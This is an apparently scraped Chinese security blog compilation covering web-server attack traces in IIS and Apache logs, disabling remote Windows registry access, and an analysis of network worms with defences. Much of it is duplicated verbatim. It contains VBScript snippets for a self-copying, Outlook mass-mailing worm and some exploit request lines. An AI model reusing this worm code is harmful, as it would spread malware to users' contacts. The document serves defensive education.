网页如果被人探访过,总会在记录文件留下什么线索。如果网页管理员警觉性够高,应该会把分析记录文件作为追查线索,并且在检查后发现网站真的有漏洞时,就能预测会有黑客攻击网站。
接下来我要向大家示范两种常见的网页服务器攻击方式,分析服务器在受到攻击后黑客在记录文件中痕迹。
(1)MDAC攻击
MDAC攻击法可以让网页的客户端在IIS网页服务器上执行命令。如果有人开始攻击IIS服务器,记录文件就会记下客户端曾经呼叫msadcs.dll文档:
17:48:49 12.1.2.8 GET /msadc/msadcs.dll 200
17:48:51 12.1.2.8 POST /msadc/msadcs.dll 200
(2)利用原始码漏洞
第二种攻击方式也很普遍,就是会影响ASP和Java网页的暴露原始码漏洞。 最晚被发现的安全漏洞是 +.htr 臭虫,这个bug会显示ASP原始码。 如果有人利用这个漏洞攻击,就会在IIS的记录文件里面留下这些线索:
17:50:13 11.1.2.80 GET /default.asp+.htr 200
网页常会只让有权限的使用者进入。接下来我们要让各位看 Apache的access_log记录文件会在登录失败时留下什么线索:
12.1.2.8 - user [08/Mar/2001:18:58:29 -0700] "GET /private/ HTTP/1.0" 401 462
注:第三栏里面的使用者名称是「user」。还有要注意HTTP的状态代号是401,代表非法存取。
阻止攻击者对Windows注册表的远程访问
[ 2007-03-25 03:58:37 | 作者: sun ]
按照本文中所提及的方式保护Windows注册表,能够防止攻击者远程攻击它。
问题
注册表是Windows操作系统的核心。但是在缺省情况下,所有基于Windows的计算机的注册表在网络上都是可以被访问到。了解这一点的黑客完全可以利用这个安全漏洞来对你的公司的计算机系统进行攻击,并修改文件关系,并允许插入恶意代码。为了保护你的网络,你需要禁止对注册表的远程访问。
解决方案
你轻而易举地可以通过修改网络访问清单来达到这一目标。根据你网络的复杂程度,你可能需要考虑禁止对注册表的远程访问。
注意
编辑注册表可能会有风险,所以必须要在开始之前确保你已经对注册表进行了备份。
修改注册表
对于使用Windows 2000、Windows XP、和Windows Server 2003系统的计算机,采取如下步骤:
1、点击“开始”菜单,选择“运行”。
2、输入“Regedt32.exe”,然后点击“OK”。
3、选择“HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSecurePipeServers”。
4、如果winreg键已经存在,跳到步骤8。如果该键不存在,点击“编辑”菜单,选择“添加”。
5、把该键命名为“winreg”,类别设定为REG_SZ。
6、选择这个新创建的键,然后点击“编辑”菜单,选择“增加值“。
7、进行如下输入:
名称: Description
类型: REG_SZ
值 : Registry Server
8、选择winreg键,进入安全 | 许可 。
9、确保本地系统管理员组(System Administrators Group)拥有全部的访问权,把只读权限开放给系统帐户(System account)和所有人组(Everyone group)。
10、关闭注册表编辑器,重新启动计算机。
如果你为工作站或者服务器支持设定了特殊的组,而这些组的成员又不是管理员,你就应该也为他们设定合适的权限。
而且,如果你面对的机器是一台服务器或者是一台为特殊用户提供远程服务的计算机,你就必须允许有权使用服务的帐户对相关内容有只读的权限。
调整网络
注册表修改能够保护你内部网络需要经过授权才能访问,但是你还需要保护注册表不受外部的来自互联网的访问。利用注册表的安全漏洞对Windows系统进行攻击仍然非常普遍,所以你需要保证你的安全策略已经很好地解决了这些安全漏洞。
在前端的路由器或者防火墙上禁用TCP/UDP端口135、137、138、139和455是一个不错的解决方法。禁用这些端口不仅仅是能够阻止远程访问注册表,这样做还能够阻止大部分针对Windows系统的远程攻击。
关闭这些端口迅速提高你的Windows网络的安全性,在没有禁用这些端口之前,你需要确认是否有商业的原因需要保持这些端口的开放。
这些是你所能够关闭的、运行Windows 2000、Windows XP和Windows Server 2003系统上的远程注册表服务(Remote Registry),这对于企业来说,永远是一个非常有帮助的、实用的方法。
问题
注册表是Windows操作系统的核心。但是在缺省情况下,所有基于Windows的计算机的注册表在网络上都是可以被访问到。了解这一点的黑客完全可以利用这个安全漏洞来对你的公司的计算机系统进行攻击,并修改文件关系,并允许插入恶意代码。为了保护你的网络,你需要禁止对注册表的远程访问。
解决方案
你轻而易举地可以通过修改网络访问清单来达到这一目标。根据你网络的复杂程度,你可能需要考虑禁止对注册表的远程访问。
注意
编辑注册表可能会有风险,所以必须要在开始之前确保你已经对注册表进行了备份。
修改注册表
对于使用Windows 2000、Windows XP、和Windows Server 2003系统的计算机,采取如下步骤:
1、点击“开始”菜单,选择“运行”。
2、输入“Regedt32.exe”,然后点击“OK”。
3、选择“HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSecurePipeServers”。
4、如果winreg键已经存在,跳到步骤8。如果该键不存在,点击“编辑”菜单,选择“添加”。
5、把该键命名为“winreg”,类别设定为REG_SZ。
6、选择这个新创建的键,然后点击“编辑”菜单,选择“增加值“。
7、进行如下输入:
名称: Description
类型: REG_SZ
值 : Registry Server
8、选择winreg键,进入安全 | 许可 。
9、确保本地系统管理员组(System Administrators Group)拥有全部的访问权,把只读权限开放给系统帐户(System account)和所有人组(Everyone group)。
10、关闭注册表编辑器,重新启动计算机。
如果你为工作站或者服务器支持设定了特殊的组,而这些组的成员又不是管理员,你就应该也为他们设定合适的权限。
而且,如果你面对的机器是一台服务器或者是一台为特殊用户提供远程服务的计算机,你就必须允许有权使用服务的帐户对相关内容有只读的权限。
调整网络
注册表修改能够保护你内部网络需要经过授权才能访问,但是你还需要保护注册表不受外部的来自互联网的访问。利用注册表的安全漏洞对Windows系统进行攻击仍然非常普遍,所以你需要保证你的安全策略已经很好地解决了这些安全漏洞。
在前端的路由器或者防火墙上禁用TCP/UDP端口135、137、138、139和455是一个不错的解决方法。禁用这些端口不仅仅是能够阻止远程访问注册表,这样做还能够阻止大部分针对Windows系统的远程攻击。
关闭这些端口迅速提高你的Windows网络的安全性,在没有禁用这些端口之前,你需要确认是否有商业的原因需要保持这些端口的开放。
这些是你所能够关闭的、运行Windows 2000、Windows XP和Windows Server 2003系统上的远程注册表服务(Remote Registry),这对于企业来说,永远是一个非常有帮助的、实用的方法。
解析并防范电脑蠕虫病毒
[ 2007-03-25 03:58:26 | 作者: sun ]
凡能够引起计算机故障,破坏计算机数据的程序统称为计算机病毒。所以从这个意义上说,蠕虫也是一种病毒!网络蠕虫病毒,作为对互联网危害严重的 一种计算机程序,其破坏力和传染性不容忽视。与传统的病毒不同,蠕虫病毒以计算机为载体,以网络为攻击对象!本文中将蠕虫病毒分为针对企业网络和个人用户2类,并从企业用户和个人用户两个方面探讨蠕虫病毒的特征和一些防范措施!
本文根据蠕虫病毒的发作机制,将其分为利用系统级别漏洞(主动传播)和利用社会工程学(欺骗传播)两种,并从用户角度中将蠕虫病毒分为针对企业网络和个人用户2类,从企业用户和个人用户两个方面探讨蠕虫病毒的特征和一些防范措施!
一、蠕虫病毒的定义
1.蠕虫病毒的定义
计算机病毒自出现之日起,就成为计算机的一个巨大威胁,而当网络迅速发展的时候,蠕虫病毒引起的危害开始显现!从广义上定义,凡能够引起计算机故障,破坏计算机数据的程序统称为计算机病毒。所以从这个意义上说,蠕虫也是一种病毒!但是蠕虫病毒和一般的病毒有着很大的区别。对于蠕虫,现在还没有一个成套的理论体系,一般认为,蠕虫是一种通过网络传播的恶性病毒,它具有病毒的一些共性,如传播性,隐蔽性,破坏性等等,同时具有自己的一些特征,如不利用文件寄生(有的只存在于内存中),对网络造成拒绝服务,以及和黑客技术相结合等等!在产生的破坏性上,蠕虫病毒也不是普通病毒所能比拟的,网络的发展使得蠕虫可以在短短的时间内蔓延整个网络,造成网络瘫痪!
根据使用者情况可将蠕虫病毒分为2类,一种是面向企业用户和局域网而言,这种病毒利用系统漏洞,主动进行攻击,可以对整个互联网可造成瘫痪性的后果!以“红色代码”,“尼姆达”,以及最新的“sql蠕虫王”为代表。另外一种是针对个人用户的,通过网络(主要是电子邮件,恶意网页形式)迅速传播的蠕虫病毒,以爱虫病毒,求职信病毒为例.在这两类中,第一类具有很大的主动攻击性,而且爆发也有一定的突然性,但相对来说,查杀这种病毒并不是很难。第二种病毒的传播方式比较复杂和多样,少数利用了微软的应用程序的漏洞,更多的是利用社会工程学()对用户进行欺骗和诱使,这样的病毒造成的损失是非常大的,同时也是很难根除的,比如求职信病毒,在2001年就已经被各大杀毒厂商发现,但直到2002年底依然排在病毒危害排行榜的首位就是证明!出得在接下来的内容中,将分别分析这两种病毒的一些特征及防范措施!
2.蠕虫病毒与一般病毒的异同
蠕虫也是一种病毒,因此具有病毒的共同特征。一般的病毒是需要的寄生的,它可以通过自己指令的执行,将自己的指令代码写到其他程序的体内,而被感染的文件就被称为”宿主”,例如,windows下可执行文件的格式为pe格式(Portable Executable),当需要感染pe文件时,在宿主程序中,建立一个新节,将病毒代码写到新节中,修改的程序入口点等,这样,宿主程序执行的时候,就可以先执行病毒程序,病毒程序运行完之后,在把控制权交给宿主原来的程序指令。可见,病毒主要是感染文件,当然也还有像DIRII这种链接型病毒,还有引导区病毒。引导区病毒他是感染磁盘的引导区,如果是软盘被感染,这张软盘用在其他机器上后,同样也会感染其他机器,所以传播方式也是用软盘等方式。
蠕虫一般不采取利用pe格式插入文件的方法,而是复制自身在互联网环境下进行传播,病毒的传染能力主要是针对计算机内的文件系统而言,而蠕虫病毒的传染目标是互联网内的所有计算机.局域网条件下的共享文件夹,电子邮件email,网络中的恶意网页,大量存在着漏洞的服务器等都成为蠕虫传播的良好途径。网络的发展也使得蠕虫病毒可以在几个小时内蔓延全球!而且蠕虫的主动攻击性和突然爆发性将使得人们手足无策!
普通病毒 蠕虫病毒
存在形式 寄存文件 独立程序
传染机制 宿主程序运行 主动攻击
传染目标 本地文件 网络计算机
可以预见,未来能够给网络带来重大灾难的主要必定是网络蠕虫!
3.蠕虫的破坏和发展趋势
1988年一个由美国CORNELL大学研究生莫里斯编写的蠕虫病毒蔓延造成了数千台计算机停机,蠕虫病毒开始现身网络;而后来的红色代码,尼姆达病毒疯狂的时候,造成几十亿美元的损失;北京时间2003年1月26日, 一种名为“2003蠕虫王”的电脑病毒迅速传播并袭击了全球,致使互联网网路严重堵塞,作为互联网主要基础的域名服务器(DNS)的瘫痪造成网民浏览互联网网页及收发电子邮件的速度大幅减缓,同时银行自动提款机的运作中断, 机票等网络预订系统的运作中断,信用卡等收付款系统出现故障!专家估计,此病毒造成的直接经济损失至少在12亿美元以上!
病毒名称 持续时间 造成损失莫里斯蠕虫 1988年
6000多台计算机停机,直接经济损失达9600万美元! 美丽杀手
1999年 政府部门和一些大公司紧急关闭了网络服务器,
经济损失超过12亿美元!爱虫病毒
2000年5月至今
众多用户电脑被感染,损失超过100亿美元以上 红色代码
2001年7月 网络瘫痪,直接经济损失超过26亿美元 求职信
2001年12月至今 大量病毒邮件堵塞服务器,损失达数百亿美元 蠕虫王
2003年1月 网络大面积瘫痪,银行自动提款机运做中断,直接经济损失超过26亿美元
由表可以知道,蠕虫病毒对网络产生堵塞作用,并造成了巨大的经济损失!
通过对以上蠕虫病毒的分析,可以知道,蠕虫发作的一些特点和发展趋势:
1.利用操作系统和应用程序的漏洞主动进行攻击.. 此类病毒主要是“红色代码”和“尼姆达”,以及至今依然肆虐的”求职信”等.由于IE浏览器的漏洞(Iframe Execcomand),使得感染了“尼姆达”病毒的邮件在不去手工打开附件的情况下病毒就能激活,而此前即便是很多防病毒专家也一直认为,带有病毒附件的邮件,只要不去打开附件,病毒不会有危害。“红色代码”是利用了微软IIS服务器软件的漏洞(idq.dll远程缓存区溢出)来传播。Sql蠕虫王病毒则是利用了微软的数据库系统的一个漏洞进行大肆攻击!
2.传播方式多样 如“尼姆达”病毒和”求职信”病毒,可利用的传播途径包括文件、电子邮件、Web服务器、网络共享等等。
3.病毒制作技术与传统的病毒不同的是,许多新病毒是利用当前最新的编程语言与编程技术实现的,易于修改以产生新的变种,从而逃避反病毒软件的搜索。另外,新病毒利用Java、ActiveX、VB Script等技术,可以潜伏在HTML页面里,在上网浏览时触发。
4.与黑客技术相结合! 潜在的威胁和损失更大!以红色代码为例,感染后的机器的web目录的\scripts下将生成一个root.exe,可以远程执行任何命令,从而使黑客能够再次进入!二、网络蠕虫病毒分析和防范
蠕虫和普通病毒不同的一个特征是蠕虫病毒往往能够利用漏洞,这里的漏洞或者说是缺陷,我们分为2种,软件上的缺陷和人为上的缺陷。软件上的缺陷,如远程溢出,微软ie和outlook的自动执行漏洞等等,需要软件厂商和用户共同配合,不断的升级软件。而人为的缺陷,主要是指的是计算机用户的疏忽。这就是所谓的社会工程学(social engineering),当收到一封邮件带着病毒的求职信邮件时候,大多数人都会报着好奇去点击的。对于企业用户来说,威胁主要集中在服务器和大型应用软件的安全上,而个人用户而言,主要是防范第二种缺陷。
1.利用系统漏洞的恶性蠕虫病毒分析
在这种病毒中,以红色代码,尼姆达和sql蠕虫为代表!他们共同的特征是利用微软服务器和应用程序组件的某个漏洞进行攻击,由于网上存在这样的漏洞比较普遍,使得病毒很容易的传播!而且攻击的对象大都为服务器,所以造成的网络堵塞现象严重!
以2003年1月26号爆发的sql蠕虫为例,爆发数小时内席卷了全球网络,造成网络大塞车.亚洲国家中以人口上网普及率达七成的韩国所受影响较为严重。韩国两大网络业KFT及***电讯公司,系统都陷入了瘫痪,其它的网络用户也被迫断线,更为严重的是许多银行的自动取款机都无法正常工作, 美国许美国银行统计,该行的13000台自动柜员机已经无法提供正常提款。网络蠕虫病毒开始对人们的生活产生了巨大的影响!
这次sql蠕虫攻击的是微软数据库系Microsoft SQL Server 2000的,利用了MSSQL2000服务远程堆栈缓冲区溢出漏洞, Microsoft SQL Server 2000是一款由Microsoft公司开发的商业性质大型数据库系统。SQL Server监听UDP的1434端口,客户端可以通过发送消息到这个端口来查询目前可用的连接方式(连接方式可以是命名管道也可以是TCP),但是此程序存在严重漏洞,当客户端发送超长数据包时,将导致缓冲区溢出,黑客可以利用该漏洞在远程机器上执行自己的恶意代码。
微软在200年7月份的时候就为这个漏洞发布了一个安全公告,但当sql蠕虫爆发的时候,依然有大量的装有ms sqlserver 2000的服务器没有安装最新的补丁,从而被蠕虫病毒所利用,蠕虫病毒通过一段376个字节的恶意代码,远程获得对方主机的系统控制权限, 取得三个Win32 API地址,GetTickCount、socket、sendto,接着病毒使用GetTickCount获得一个随机数,进入一个死循环继续传播。在该循环中蠕虫使用获得的随机数生成一个随机的ip地址,然后将自身代码发送至1434端口(Microsoft SQL Server开放端口),该蠕虫传播速度极快,其使用广播数据包方式发送自身代码,每次均攻击子网中所有255台可能存在机器。由于这是一个死循环的过程,发包密度仅和机器性能和网络带宽有关,所以发送的数据量非常大。该蠕虫对被感染机器本身并没有进行任何恶意破坏行为,也没有向硬盘上写文件,仅仅存在与内存中。对于感染的系统,重新启动后就可以清除蠕虫,但是仍然会重复感染。由于发送数据包占用了大量系统资源和网络带宽,形成Udp Flood,感染了该蠕虫的网络性能会极度下降。一个百兆网络内只要有一两台机器感染该蠕虫就会导致整个网络访问阻塞。
通过以上分析可以知道,此蠕虫病毒本身除了对网络产生拒绝服务攻击外,并没有别的破坏措施.但如果病毒编写者在编写病毒的时候加入破坏代码,后果将不堪设想!
2.企业防范蠕虫病毒措施
此次sql蠕虫病毒,利用的漏洞在2002年7月份微软的一份安全公告中就有详细说明!而且微软也提供了安全补丁提供下载,然而在时隔半年之后互联网上还有相当大的一部分服务器没有安装最新的补丁,其网络管理员的安全防范意识可见一斑!
当前,企业网络主要应用于文件和打印服务共享、办公自动化系统、企业业务(MIS)系统、Internet应用等领域。网络具有便利信息交换特性,蠕虫病毒也可以充分利用网络快速传播达到其阻塞网络目的。企业在充分地利用网络进行业务处理时,就不得不考虑企业的病毒防范问题,以保证关系企业命运的业务数据完整不被破坏。
企业防治蠕虫病毒的时候需要考虑几个问题:病毒的查杀能力,病毒的监控能力,新病毒的反应能力。而企业防毒的一个重要方面是是管理和策略。推荐的企业防范蠕虫病毒的策略如下:
(1)加强网络管理员安全管理水平,提高安全意识。由于蠕虫病毒利用的是系统漏洞进行攻击,所以需要在第一时间内保持系统和应用软件的安全性,保持各种操作系统和应用软件的更新!由于各种漏洞的出现,使得安全不在是一种一劳永逸的事,而作为企业用户而言,所经受攻击的危险也是越来越大,要求企业的管理水平和安全意识也越来越高!
(2)建立病毒检测系统。能够在第一时间内检测到网络异常和病毒攻击。
(3)建立应急响应系统,将风险减少到最小!由于蠕虫病毒爆发的突然性,可能在病毒发现的时候已经蔓延到了整个网络,所以在突发情况下,建立一个紧急响应系统是很有必要的,在病毒爆发的第一时间即能提供解决方案。
(4)建立灾难备份系统。对于数据库和数据系统,必须采用定期备份,多机备份措施,防止意外灾难下的数据丢失!
(5)对于局域网而言,可以采用以下一些主要手段:A.在因特网接入口处安装防火墙式防杀计算机病毒产品,将病毒隔离在局域网之外。B.对邮件服务器进行监控,防止带毒邮件进行传播!C.对局域网用户进行安全培训。D.建立局域网内部的升级系统,包括各种操作系统的补丁升级,各种常用的应用软件升级,各种杀毒软件病毒库的升级等等!3.对个人用户产生直接威胁的蠕虫病毒
在以上分析的蠕虫病毒中,只对安装了特定的微软组件的系统进行攻击,而对广大个人用户而言,是不会安装iis(微软的因特网服务器程序,可以使允许在网上提供web服务)或者是庞大的数据库系统的!因此上述病毒并不会直接攻击个个人用户的电脑(当然能够间接的通过网络产生影响),但接下来分析的蠕虫病毒,则是对个人用户威胁最大,同时也是最难以根除,造成的损失也更大的一类蠕虫病毒!
对于个人用户而言,威胁大的蠕虫病毒采取的传播方式一般为电子邮件(Email)以及恶意网页等等!
对于利用email传播得蠕虫病毒来说,通常利用的是社会工程学(Social Engineering),即以各种各样的欺骗手段那诱惑用户点击的方式进行传播!
恶意网页确切的讲是一段黑客破坏代码程序,它内嵌在网页中,当用户在不知情的情况下打开含有病毒的网页时,病毒就会发作。这种病毒代码镶嵌技术的原理并不复杂,所以会被很多怀不良企图者利用,在很多黑客网站竟然出现了关于用网页进行破坏的技术的论坛,并提供破坏程序代码下载,从而造成了恶意网页的大面积泛滥,也使越来越多的用户遭受损失。
对于恶意网页,常常采取vb script和java script编程的形式!由于编程方式十分的简单!所以在网上非常的流行!
Vb script和java script是由微软操作系统的wsh(Windows Scripting HostWindows脚本主机)解析并执行的,由于其编程非常简单,所以此类脚本病毒在网上疯狂传播,疯狂一时的爱虫病毒就是一种vbs脚本病毒,然后伪装成邮件附件诱惑用户点击运行,更为可怕的是,这样的病毒是以源代码的形式出现的,只要懂得一点关于脚本编程的人就可以修改其代码,形成各种各样的变种。
下面以一个简单的脚本为例:
Set objFs=CreateObject (“Scripting.FileSystemObject”)
(创建一个文件系统对象)objFs.CreateTextFile ("C:\virus.txt", 1)
(通过文件系统对象的方法创建了TXT文件)
如果我们把这两句话保存成为.vbs的VB脚本文件,点击就会在C盘中创建一个TXT文件了。倘若我们把第二句改为:
objFs.GetFile (WScript.ScriptFullName).Copy ("C:\virus.vbs")
就可以将自身复制到C盘virus.vbs这个文件。本句前面是打开这个脚本文件,WScript.ScriptFullName指明是这个程序本身,是一个完整的路径文件名。GetFile函数获得这个文件,Copy函数将这个文件复制到C盘根目录下virus.vbs这个文件。这么简单的两句就实现了自我复制的功能,已经具备病毒的基本特征——自我复制能力。
此类病毒往往是通过邮件传播的,在vb script中调用邮件发送功能也非常的简单,病毒往往采用的方法是向outlook中的地址薄中的邮件地址发送带有包含自身的邮件来达到传播目的,一个简单的实例如下:
Set objOA=Wscript.CreateObject ("Outlook.Application")
(创建一个OUTLOOK应用的对象)Set objMapi=objOA.GetNameSpace ("MAPI")
(取得MAPI名字空间)For i=1 to objMapi.AddressLists.Count(遍历地址簿)
Set objAddList=objMapi.AddressLists (i)
For j=1 To objAddList. AddressEntries.Count Set
objMail=objOA.CreateItem (0) objMail.Recipients.Add
(objAddList. AddressEntries
(j))
(取得收件人邮件地址 )objMail.Subject="你好!"
(设置邮件主题,这个往往具有很大的诱惑性质)
objMail.Body="这次给你的附件,是我的新文档!"
(设置信件内容)objMail.Attachments.Add (“c:\virus.vbs")
(把自己作为附件扩散出去 )objMail.Send(发送邮件)
NextNext Set objMapi=Nothing(清空objMapi变量,释放资源)
set objOA=Nothing(清空objOA变量)
这一小段代码的功能是向地址簿中的用户发送电子邮件,并将自己作为附件扩散出去。这段代码中的第一行是创建一个Outlook的对象,是必不可少的。在其下是一个循环,在循环中不断地向地址簿中的电子邮件地址发送内容相同的信件。这就是蠕虫的传播性。
由此可以看出,利用vb script编写病毒是非常容易的,这就使得此类病毒的变种繁多,破坏力极大,同时也是非常难以根除的!
4.个人用户对蠕虫病毒的防范措施
通过上述的分析,我们可以知道,病毒并不是非常可怕的,网络蠕虫病毒对个人用户的攻击主要还是通过社会工程学,而不是利用系统漏洞!所以防范此类病毒需要注意以下几点:
(1)购合适的杀毒软件!网络蠕虫病毒的发展已经使传统的杀毒软件的“文件级实时监控系统”落伍,杀毒软件必须向内存实时监控和邮件实时监控发展!另外面对防不胜防的网页病毒,也使得用户对杀毒软件的要求越来越高!在杀毒软件市场上,赛门铁克公司的norton系列杀毒软件在全球具有很大的比例!经过多项测试,norton杀毒系列软件脚本和蠕虫阻拦技术能够阻挡大部分电子邮件病毒,而且对网页病毒也有相当强的防范能力!目前国内的杀毒软件也具有了相当高的水平。像瑞星,kv系列等杀毒软件,在杀毒软件的同时整合了防火强功能,从而对蠕虫兼木马程序有很大克制作用。
(2)经常升级病毒库,杀毒软件对病毒的查杀是以病毒的特征码为依据的,而病毒每天都层出不穷,尤其是在网络时代,蠕虫病毒的传播速度快,变种多,所以必须随时更新病毒库,以便能够查杀最新的病毒!
(3)提高防杀毒意识.不要轻易去点击陌生的站点,有可能里面就含有恶意代码!
当运行IE时,点击“工具→Internet选项→安全→ Internet区域的安全级别”,把安全级别由“中”改为“高” 。因为这一类网页主要是含有恶意代码的ActiveX或Applet、 JavaScript的网页文件 ,所以在IE设置中将ActiveX插件和控件、Java脚本等全部禁止就可以大大减少被网页恶意代码感染的几率。具体方案是:在IE窗口中点击“工具”→“Internet选项”,在弹出的对话框中选择“安全”标签,再点击“自定义级别”按钮,就会弹出“安全设置”对话框,把其中所有ActiveX插件和控件以及与Java相关全部选项选择“禁用”。但是,这样做在以后的网页浏览过程中有可能会使一些正常应用ActiveX的网站无法浏览。
(4)不随意查看陌生邮件,尤其是带有附件的邮件,由于有的病毒邮件能够利用ie和outlook的漏洞自动执行,所以计算机用户需要升级ie和outlook程序,及常用的其他应用程序!
三、小结
网络蠕虫病毒作为一种互联网高速发展下的一种新型病毒,必将对网络产生巨大的危险。在防御上,已经不再是由单独的杀毒厂商所能够解决,而需要网络安全公司,系统厂商,防病毒厂商及用户共同参与,构筑全方位的防范体系!
蠕虫和黑客技术的结合,使得对蠕虫的分析,检测和防范具有一定的难度,同时对蠕虫的网络传播性,网络流量特性建立数学模型也是有待研究的工作!
本文根据蠕虫病毒的发作机制,将其分为利用系统级别漏洞(主动传播)和利用社会工程学(欺骗传播)两种,并从用户角度中将蠕虫病毒分为针对企业网络和个人用户2类,从企业用户和个人用户两个方面探讨蠕虫病毒的特征和一些防范措施!
一、蠕虫病毒的定义
1.蠕虫病毒的定义
计算机病毒自出现之日起,就成为计算机的一个巨大威胁,而当网络迅速发展的时候,蠕虫病毒引起的危害开始显现!从广义上定义,凡能够引起计算机故障,破坏计算机数据的程序统称为计算机病毒。所以从这个意义上说,蠕虫也是一种病毒!但是蠕虫病毒和一般的病毒有着很大的区别。对于蠕虫,现在还没有一个成套的理论体系,一般认为,蠕虫是一种通过网络传播的恶性病毒,它具有病毒的一些共性,如传播性,隐蔽性,破坏性等等,同时具有自己的一些特征,如不利用文件寄生(有的只存在于内存中),对网络造成拒绝服务,以及和黑客技术相结合等等!在产生的破坏性上,蠕虫病毒也不是普通病毒所能比拟的,网络的发展使得蠕虫可以在短短的时间内蔓延整个网络,造成网络瘫痪!
根据使用者情况可将蠕虫病毒分为2类,一种是面向企业用户和局域网而言,这种病毒利用系统漏洞,主动进行攻击,可以对整个互联网可造成瘫痪性的后果!以“红色代码”,“尼姆达”,以及最新的“sql蠕虫王”为代表。另外一种是针对个人用户的,通过网络(主要是电子邮件,恶意网页形式)迅速传播的蠕虫病毒,以爱虫病毒,求职信病毒为例.在这两类中,第一类具有很大的主动攻击性,而且爆发也有一定的突然性,但相对来说,查杀这种病毒并不是很难。第二种病毒的传播方式比较复杂和多样,少数利用了微软的应用程序的漏洞,更多的是利用社会工程学()对用户进行欺骗和诱使,这样的病毒造成的损失是非常大的,同时也是很难根除的,比如求职信病毒,在2001年就已经被各大杀毒厂商发现,但直到2002年底依然排在病毒危害排行榜的首位就是证明!出得在接下来的内容中,将分别分析这两种病毒的一些特征及防范措施!
2.蠕虫病毒与一般病毒的异同
蠕虫也是一种病毒,因此具有病毒的共同特征。一般的病毒是需要的寄生的,它可以通过自己指令的执行,将自己的指令代码写到其他程序的体内,而被感染的文件就被称为”宿主”,例如,windows下可执行文件的格式为pe格式(Portable Executable),当需要感染pe文件时,在宿主程序中,建立一个新节,将病毒代码写到新节中,修改的程序入口点等,这样,宿主程序执行的时候,就可以先执行病毒程序,病毒程序运行完之后,在把控制权交给宿主原来的程序指令。可见,病毒主要是感染文件,当然也还有像DIRII这种链接型病毒,还有引导区病毒。引导区病毒他是感染磁盘的引导区,如果是软盘被感染,这张软盘用在其他机器上后,同样也会感染其他机器,所以传播方式也是用软盘等方式。
蠕虫一般不采取利用pe格式插入文件的方法,而是复制自身在互联网环境下进行传播,病毒的传染能力主要是针对计算机内的文件系统而言,而蠕虫病毒的传染目标是互联网内的所有计算机.局域网条件下的共享文件夹,电子邮件email,网络中的恶意网页,大量存在着漏洞的服务器等都成为蠕虫传播的良好途径。网络的发展也使得蠕虫病毒可以在几个小时内蔓延全球!而且蠕虫的主动攻击性和突然爆发性将使得人们手足无策!
普通病毒 蠕虫病毒
存在形式 寄存文件 独立程序
传染机制 宿主程序运行 主动攻击
传染目标 本地文件 网络计算机
可以预见,未来能够给网络带来重大灾难的主要必定是网络蠕虫!
3.蠕虫的破坏和发展趋势
1988年一个由美国CORNELL大学研究生莫里斯编写的蠕虫病毒蔓延造成了数千台计算机停机,蠕虫病毒开始现身网络;而后来的红色代码,尼姆达病毒疯狂的时候,造成几十亿美元的损失;北京时间2003年1月26日, 一种名为“2003蠕虫王”的电脑病毒迅速传播并袭击了全球,致使互联网网路严重堵塞,作为互联网主要基础的域名服务器(DNS)的瘫痪造成网民浏览互联网网页及收发电子邮件的速度大幅减缓,同时银行自动提款机的运作中断, 机票等网络预订系统的运作中断,信用卡等收付款系统出现故障!专家估计,此病毒造成的直接经济损失至少在12亿美元以上!
病毒名称 持续时间 造成损失莫里斯蠕虫 1988年
6000多台计算机停机,直接经济损失达9600万美元! 美丽杀手
1999年 政府部门和一些大公司紧急关闭了网络服务器,
经济损失超过12亿美元!爱虫病毒
2000年5月至今
众多用户电脑被感染,损失超过100亿美元以上 红色代码
2001年7月 网络瘫痪,直接经济损失超过26亿美元 求职信
2001年12月至今 大量病毒邮件堵塞服务器,损失达数百亿美元 蠕虫王
2003年1月 网络大面积瘫痪,银行自动提款机运做中断,直接经济损失超过26亿美元
由表可以知道,蠕虫病毒对网络产生堵塞作用,并造成了巨大的经济损失!
通过对以上蠕虫病毒的分析,可以知道,蠕虫发作的一些特点和发展趋势:
1.利用操作系统和应用程序的漏洞主动进行攻击.. 此类病毒主要是“红色代码”和“尼姆达”,以及至今依然肆虐的”求职信”等.由于IE浏览器的漏洞(Iframe Execcomand),使得感染了“尼姆达”病毒的邮件在不去手工打开附件的情况下病毒就能激活,而此前即便是很多防病毒专家也一直认为,带有病毒附件的邮件,只要不去打开附件,病毒不会有危害。“红色代码”是利用了微软IIS服务器软件的漏洞(idq.dll远程缓存区溢出)来传播。Sql蠕虫王病毒则是利用了微软的数据库系统的一个漏洞进行大肆攻击!
2.传播方式多样 如“尼姆达”病毒和”求职信”病毒,可利用的传播途径包括文件、电子邮件、Web服务器、网络共享等等。
3.病毒制作技术与传统的病毒不同的是,许多新病毒是利用当前最新的编程语言与编程技术实现的,易于修改以产生新的变种,从而逃避反病毒软件的搜索。另外,新病毒利用Java、ActiveX、VB Script等技术,可以潜伏在HTML页面里,在上网浏览时触发。
4.与黑客技术相结合! 潜在的威胁和损失更大!以红色代码为例,感染后的机器的web目录的\scripts下将生成一个root.exe,可以远程执行任何命令,从而使黑客能够再次进入!二、网络蠕虫病毒分析和防范
蠕虫和普通病毒不同的一个特征是蠕虫病毒往往能够利用漏洞,这里的漏洞或者说是缺陷,我们分为2种,软件上的缺陷和人为上的缺陷。软件上的缺陷,如远程溢出,微软ie和outlook的自动执行漏洞等等,需要软件厂商和用户共同配合,不断的升级软件。而人为的缺陷,主要是指的是计算机用户的疏忽。这就是所谓的社会工程学(social engineering),当收到一封邮件带着病毒的求职信邮件时候,大多数人都会报着好奇去点击的。对于企业用户来说,威胁主要集中在服务器和大型应用软件的安全上,而个人用户而言,主要是防范第二种缺陷。
1.利用系统漏洞的恶性蠕虫病毒分析
在这种病毒中,以红色代码,尼姆达和sql蠕虫为代表!他们共同的特征是利用微软服务器和应用程序组件的某个漏洞进行攻击,由于网上存在这样的漏洞比较普遍,使得病毒很容易的传播!而且攻击的对象大都为服务器,所以造成的网络堵塞现象严重!
以2003年1月26号爆发的sql蠕虫为例,爆发数小时内席卷了全球网络,造成网络大塞车.亚洲国家中以人口上网普及率达七成的韩国所受影响较为严重。韩国两大网络业KFT及***电讯公司,系统都陷入了瘫痪,其它的网络用户也被迫断线,更为严重的是许多银行的自动取款机都无法正常工作, 美国许美国银行统计,该行的13000台自动柜员机已经无法提供正常提款。网络蠕虫病毒开始对人们的生活产生了巨大的影响!
